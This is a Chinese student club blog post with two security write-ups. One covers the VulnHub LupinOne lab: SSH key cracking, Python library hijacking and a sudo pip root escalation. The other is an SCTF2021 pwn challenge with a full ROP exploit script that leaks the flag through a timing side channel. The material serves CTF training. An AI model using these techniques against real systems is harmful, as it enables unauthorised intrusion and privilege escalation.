皮蛋厂的学习日记 2022.1.23 lupinone靶场渗透记录 & sctf2021-gadget

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享，希望能与大家共同学习、共同进步~

• 2019级 Marmalade | LupinOne靶场渗透记录

• （一）探测靶机

• （二）获取flag

• 2020级 shsuhushu | SCTF2021-gadget

• 1. checksec

• 2. 源码

• 3. 思路

• 3.EXP

• 4.题目链接

2019级 Marmalade | LupinOne靶场渗透记录

vulnhub的Empire:LupinOne 靶场，medium难度

（一）探测靶机

进行靶场渗透的第一步，使用nmap对靶场ip进行扫描

使用命令

nmap -sS -A 10.35.0.137

可以看到开放了22,80,25，110端口

由80端口可知有web服务开放，我们可以通过浏览器访问，发现是一张图片

继续使用御剑爆目录，爆破到一个robots.txt，这个爬虫协议文件可以看到禁止爬虫爬取的敏感目录，

这里发现一个特殊路径，访问一下试试是404

这里看到奇怪的目录命名方式

~，于是考虑加上

~ 继续爆破

使用工具fuff

ffuf -u http://10.35.0.137/~FUZZ -w /home/marmalade/下载/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt

扫到又一个目录

访问一下

翻译过来就是

❝

你好朋友，我很高兴你找到了我的秘密目录，我这样创建是为了与你分享我创建的 ssh 私钥文件，

❝

它隐藏在这里的某个地方，这样黑客就不会找到它并用快速通道破解我的密码。

❝

我很聪明我知道。

❝

有什么问题告诉我#### 你最好的朋友icex64

因为他提到了在这个目录下藏了ssh私钥所以需要继续爆破，隐藏文件名一般为

.*****，而且是私钥文件，又得考虑后缀

经过多番尝试，最后成功爆破到一个.mysecret.txt文件。。

ffuf -u http://10.35.0.137/~FUZZ -w /home/marmalade/下载/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt

访问是一串加密代码，

这种给的提示肯定和解密相关，尝试各种base解码，最终发现是base58。

使用ssh2john进行私钥爆破，在kali里有该工具，可是命令无法执行。解决方法就是使用locate ssh2john命令找到脚本所在位置然后直接运行Python脚本

将获取的私钥命名为id_rsa，使用命令

/usr/share/john/ssh2john.py id_rsa | tee bash

使用字典爆破

john hash --wordlist=/usr/share/wordlists/fasttrack.txt

幸运地爆出明文密码

（二）获取flag

已知开放ssh端口并且有了密码了，用户名猜测是署名的这个

尝试用私钥和密码远程登录，成功

ls查看一下然后cat得到用户flag

利用sudo -l 查看有没有特殊权限，发现可以作为用户 arsene 执行/home/aresene 下的文件

cat这个python文件，调用的webbrowser库可以执行shell命令

使用find命令查找一下这个库位置，看看这个库能不能写入，能的话就写个shell，从而获得 aresene 用户

使用命令ls -l 查看权限

发现该文件在python的默认目录中，且有写入权限。这样我们就可以更改库文件，让其执行其他命令。

echo import os >webbrowser.py

echo os.system("/bin/bash")>>webbrowser.py

然后再用 arsene 调用 /home/arsene/heist.py，运行该脚本，在本地可启动arsene权限的shell

sudo -l查看特殊权限，发现可以以root身份执行pip。

可以考虑利用pip进行提权

在linux提权辅助网站GTFOBins找到提权方法

TF=$(mktemp -d)

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <(tty) 2>TF/setup.py

sudo pip install $TF

成功提权为root用户

成功获取到 root 权限，查看 flag：

2020级 shsuhushu | SCTF2021-gadget

1. checksec

开了NX，不能执行shellcode

2. 源码

v5 距栈底有 0x30

贴心的在 rax 留了一个 retn

只给了 read，fstat 和 alarm

看 SCTF2020 _ CoolCode，留了 read，fstat，write

留一个5号系统调用，在64位运行模式下的 sys_fstat，在32位运行模式下是 sys_open

虽然没有 write，但还有 alarm 输出

可输入数据为 0xC0，存在栈溢出

bss 段空间极大

3. 思路

有 seccomp 保护，可以用 ora

重要内容如图所示

这里我们需要 rax=0，rdi=1，rsi=buf，rdx=0x200

此时我们可以利用 rax 中存储的 retn 实现 rop

这里我们会遇到本题的一个难点，就是 gadget 中不存在 pop rdx

但是有个这样的gadget路线

注意这个 mov rdx, r12; call r14;

有了这两个 gadget，先给 r12 赋值，通过 mov rdx, r12; 给 rdx 赋值，再给 r14 续上下一条 pop ; ret，就可以继续利用了

p.s: 由于出题人疏忽，也可以直接利用此处给 rdx 赋值

# pop rdi; jmp rax; 
poprdi_jmprax = 0x0000000000402be4
#  pop rdi; pop rbp; ret;
poprdi_poprbp = 0x0000000000401734

# : pop rsi; pop r15; jmp rax;
poprsi_1_jmprax = 0x0000000000402be2

# : pop r12; pop r14; pop r15; pop rbp; ret;
popr12_popr14_2 = 0x000000000040172f

# : pop rbp; ret;
poprbp_ret = 0x0000000000401102

# : leave; mov dword ptr [rbp - 0x40], eax; mov eax, ecx; add rsp, 0x40; pop rbp; ret; 
leave2 = 0x0000000000401224

# : pop rbp; ret;
poprbp_ret = 0x0000000000401102

# : syscall; ret;
syscall_ret = 0x0000000000408865

# : pop rax; ret;
poprax = 0x0000000000401001

bss = 0x00000000040D160
ptr = bss 
fake_rbp = bss
buf = fake_rbp + 0x8

payload = flat(b'a' * 0x30, 0, 
            # read(0, buf, 0x200)
            poprdi_jmprax, 0, 
            poprsi_1_jmprax, ptr, 0, 
            popr12_popr14_2, 0x300, poprbp_ret, 0, 0, 
            movrdx_callr14, 
            poprax, 0, 
            syscall_ret, 
            # leave stack->fake_rbp(in bss)
            # poprdi_poprbp, ptr, fake_rbp, 
            poprbp_ret, fake_rbp, 
            leave2, 
        arch='amd64')

5号系统调用，在64位运行模式下的 **sys_fstat**，在32位运行模式下是 **sys_open**

所以我们需要先将系统切换回 32 位，再调用 **sys_open**

这里我们需要 eax=0，ebx=flag，ecx=0，edx=0

# .text:retfq
retfq = 0x00000000004011EC

# : ret; 
ret = 0x0000000000401002

stack = flat(ptr, arch='amd64')

flag_str =  b'./flagx00'.ljust(0x40, b'x00')

to32 = flat(0, 
            retfq, ret, 0x23, 
        arch='amd64')
# : pop rax; ret;
poprax = 0x0000000000401001

# 0x0000000000402cf5: pop rbx; pop r14; pop r15; pop rbp; ret; 
poprbx_popr14_2 = 0x0000000000403072

# 0x000000000040115b: pop rcx; ret;
poprcx = 0x000000000040117b

rop32 =  flat(
            poprax, 5, 
            poprbx_popr14_2, buf, 1, 2, 3, 
            poprcx, 0, 
            int80,  
            retfq, ret, 0x33,  #ret 64-Bit
        arch='i386') 

这里我们需要 rax=0，rdi=1，rsi=flag(buf)，rdx=0x200

然后 rax=idx，rsi=flag，r14=alarm，rbx=0

#  pop rdi; pop rbp; ret;
poprdi_poprbp = 0x0000000000401734

# : pop rsi; pop r15; pop rbp; ret;
poprsi_2 = 0x0000000000401732

# : pop r12; pop r14; pop r15; pop rbp; ret;
popr12_popr14_2 = 0x000000000040172f

# : pop rbp; ret;
poprbp_ret = 0x0000000000401102

# : mov rdx, r12; call r14;
movrdx_callr14 = 0x0000000000402c07

# : pop rax; ret;
poprax = 0x0000000000401001


# : syscall; ret;
syscall_ret = 0x0000000000408865

# : pop rax; ret;
poprax = 0x0000000000401001

# 0x0000000000402cf5: pop rbx; pop r14; pop r15; pop rbp; ret; 
poprbx_popr14_2 = 0x0000000000403072

#  mov bl, [rsi+rax];mov rdi, rbx;push r14;retn; 
movrdi = 0x00000000004011BE

# 000000000040119A: jmp $
loop = 0x00000000004011BA

rop64 = flat(
            poprdi_poprbp, 3, 0, 
            poprsi_2, buf, 0, 0, 
            popr12_popr14_2, 0x40, poprbp_ret, 0, 0, 
            movrdx_callr14, 
            poprax, 0, 
            syscall_ret, 

            # alarm([ flag + idx ])

            poprax, idx, 
            poprbx_popr14_2, 0, alarm, 0, 0, 
            movrdi, 
            loop, 
        arch='amd64')

3.EXP

from pwn import * 

context.log_level='debug'
context.terminal = ['tmux', 'splitw']

cmd = '''
b * 0x0000000000401222
b * 0x0000000000408865
b * 0x00000000004011f3
'''

# pop rdi; jmp rax; 
poprdi_jmprax = 0x0000000000402be4
#  pop rdi; pop rbp; ret;
poprdi_poprbp = 0x0000000000401734

# : pop rsi; pop r15; jmp rax;
poprsi_1_jmprax = 0x0000000000402be2
# : pop rsi; pop r15; pop rbp; ret;
poprsi_2 = 0x0000000000401732

# : mov rdx, r12; call r14;
movrdx_callr14 = 0x0000000000402c07
# : pop r12; pop r14; pop r15; pop rbp; ret;
popr12_popr14_2 = 0x000000000040172f

# : pop rax; ret;
poprax = 0x0000000000401001
# : pop rbp; ret;
poprbp_ret = 0x0000000000401102
# : syscall; ret;
syscall_ret = 0x0000000000408865
# : leave; mov qword ptr [rdi + rdx - 0x2f], rax; mov qword ptr [rdi + rdx - 0x27], rax; mov rax, rdi; ret; 
leave = 0x0000000000403be5
# : leave; mov dword ptr [rbp - 0x40], eax; mov eax, ecx; add rsp, 0x40; pop rbp; ret; 
leave2 = 0x0000000000401224
# : ret; 
ret = 0x0000000000401002

# : int 0x80; ret; 
int80 = 0x00000000004011f3
# .text:retfq
retfq = 0x00000000004011EC

# 0x0000000000402cf5: pop rbx; pop r14; pop r15; pop rbp; ret; 
poprbx_popr14_2 = 0x0000000000403072

# 0x000000000040115b: pop rcx; ret;
poprcx = 0x000000000040117b

#  mov bl, [rsi+rax];mov rdi, rbx;push r14;retn; 
movrdi = 0x00000000004011BE

# : pop r14; pop r15; pop rbp; ret;
popr14_2 = 0x0000000000401731
# 000000000040119A: jmp $
loop = 0x00000000004011BA

bss = 0x00000000040D160
ptr = bss 
fake_rbp = bss
buf = fake_rbp + 0x8

alarm = 0x000000000401150

def exp(idx):
    #cn = process('./gadget')
    cn = remote("81.69.0.47",  2102)

    payload = flat(b'a' * 0x30, 0, 
            # read(0, buf, 0x200)
            poprdi_jmprax, 0, 
            poprsi_1_jmprax, ptr, 0, 
            popr12_popr14_2, 0x300, poprbp_ret, 0, 0, 
            movrdx_callr14, 
            poprax, 0, 
            syscall_ret, 
            # leave stack->fake_rbp(in bss)
            # poprdi_poprbp, ptr, fake_rbp, 
            poprbp_ret, fake_rbp, 
            leave2, 
        arch='amd64')

    stack = flat(ptr, arch='amd64')
    flag_str =  b'./testx00'.ljust(0x40, b'x00') 
    to32 = flat(0, 
            retfq, ret, 0x23, 
        arch='amd64') 

    rop32 =  flat(
            # open(flag, 0, 0)
            # eax=5, ebx=flag, ecx=0, edx=0, 
            poprax, 5, 
            poprbx_popr14_2, buf, 1, 2, 3, 
            poprcx, 0, 
            int80, 
            retfq, ret, 0x33, 
        arch='i386') 

    rop64 = flat(
            # read(3, flag, 0x40)
            poprdi_poprbp, 3, 0, 
            poprsi_2, buf, 0, 0, 
            popr12_popr14_2, 0x40, poprbp_ret, 0, 0, 
            movrdx_callr14, 
            poprax, 0, 
            syscall_ret, 

            # alarm([flag+idx])

            # rax = idx
            poprax, idx, 
            # rsi = flag 
            # r14 = alarm
            # rbx = 0
            poprbx_popr14_2, 0, alarm, 0, 0, 
            # [flag+idx]
            movrdi, 
            loop, 
        arch='amd64')

    rop = stack + flag_str  + to32 + rop32 + rop64

    # gdb.attach(cn, cmd)
    cn.send(payload)
    start = time.time()
    cn.sendline(rop)
    # cn.interactive()
    try:
        cn.recv()
    except:
        ...
    end = time.time()
    cn.close()
    pass_time = int(end-start)
    print(hex(pass_time))
    flag[idx] = pass_time
    print(bytes(flag))

pool = []
flag = [0]*33
for i in range(33):
    t = threading.Thread(target=exp, args=(i, ))
    pool.append(t)
    t.start()
for i in pool:
    t.join()
print(bytes(flag))

4.题目链接

https://github.com/SycloverTeam/SCTF2021

https://syclover.feishu.cn/docs/doccnmKCtL4ABewkf89aAJXIdmg